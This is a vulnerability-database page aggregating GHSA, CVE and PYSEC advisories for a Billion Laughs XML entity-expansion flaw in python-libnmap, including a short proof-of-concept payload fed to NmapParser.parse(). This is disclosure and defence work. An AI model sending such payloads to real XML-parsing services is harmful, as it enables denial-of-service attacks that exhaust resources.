Vulnerability-Lookup

GHSA-9CCV-P7FG-M73X

Vulnerability from github – Published: 2019-07-18 15:38 – Updated: 2024-10-15 16:43

Summary

XML Injection in python-libnmap

Details

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-libnmap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-1010017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-07-18T15:38:22Z",
    "nvd_published_at": "2019-07-15T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"lol\"\u003e\n \u003c!ELEMENT lolz (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n]\u003e\n\u003clolz\u003e\u003chello\u003e\u0026lol3;\u003c/hello\u003e\u003c/lolz\u003e\n\"\"\"\n\nty.parse(payload)\n```",
  "id": "GHSA-9ccv-p7fg-m73x",
  "modified": "2024-10-15T16:43:37Z",
  "published": "2019-07-18T15:38:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1010017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/savon-noir/python-libnmap/issues/87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/savon-noir/python-libnmap"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XML Injection in python-libnmap"
}

CVE-2019-1010017 (GCVE-0-2019-1010017)

Vulnerability from cvelistv5 – Published: 2019-07-15 02:25 – Updated: 2024-08-05 03:07

Summary

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Severity

No CVSS data available.

CWE

XML Injection

Assigner

dwf Scorecard

References

1 reference

URL	Tags
https://github.com/savon-noir/python-libnmap/issues/87	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
libnmap	libnmap	Affected: < v0.6.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T03:07:18.214Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/savon-noir/python-libnmap/issues/87"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "libnmap",
          "vendor": "libnmap",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c v0.6.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "XML Injection",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2019-07-15T02:25:52.000Z",
        "orgId": "7556d962-6fb7-411e-85fa-6cd62f095ba8",
        "shortName": "dwf"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/savon-noir/python-libnmap/issues/87"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve-assign@distributedweaknessfiling.org",
          "ID": "CVE-2019-1010017",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "libnmap",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "\u003c v0.6.3"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "libnmap"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "XML Injection"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/savon-noir/python-libnmap/issues/87",
              "refsource": "MISC",
              "url": "https://github.com/savon-noir/python-libnmap/issues/87"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "7556d962-6fb7-411e-85fa-6cd62f095ba8",
    "assignerShortName": "dwf",
    "cveId": "CVE-2019-1010017",
    "datePublished": "2019-07-15T02:25:52.000Z",
    "dateReserved": "2019-03-20T00:00:00.000Z",
    "dateUpdated": "2024-08-05T03:07:18.214Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

PYSEC-2019-218

Vulnerability from pysec - Published: 2019-07-15 03:15 - Updated: 2021-11-16 03:58

Details

libnmap < v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.

Impacted products

Name	purl
python-libnmap	pkg:pypi/python-libnmap

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-libnmap",
        "purl": "pkg:pypi/python-libnmap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.2.3",
        "0.2.4",
        "0.2.7",
        "0.2.8",
        "0.4.0",
        "0.4.6",
        "0.5.0",
        "0.5.1",
        "0.6",
        "0.6.1",
        "0.6.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2019-1010017",
    "GHSA-9ccv-p7fg-m73x"
  ],
  "details": "libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.",
  "id": "PYSEC-2019-218",
  "modified": "2021-11-16T03:58:45.118185Z",
  "published": "2019-07-15T03:15:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://github.com/savon-noir/python-libnmap/issues/87"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9ccv-p7fg-m73x"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-9CCV-P7FG-M73X

Description

PoC

CVE-2019-1010017 (GCVE-0-2019-1010017)

PYSEC-2019-218

Tags

Sightings

Nomenclature

Related by attack behaviour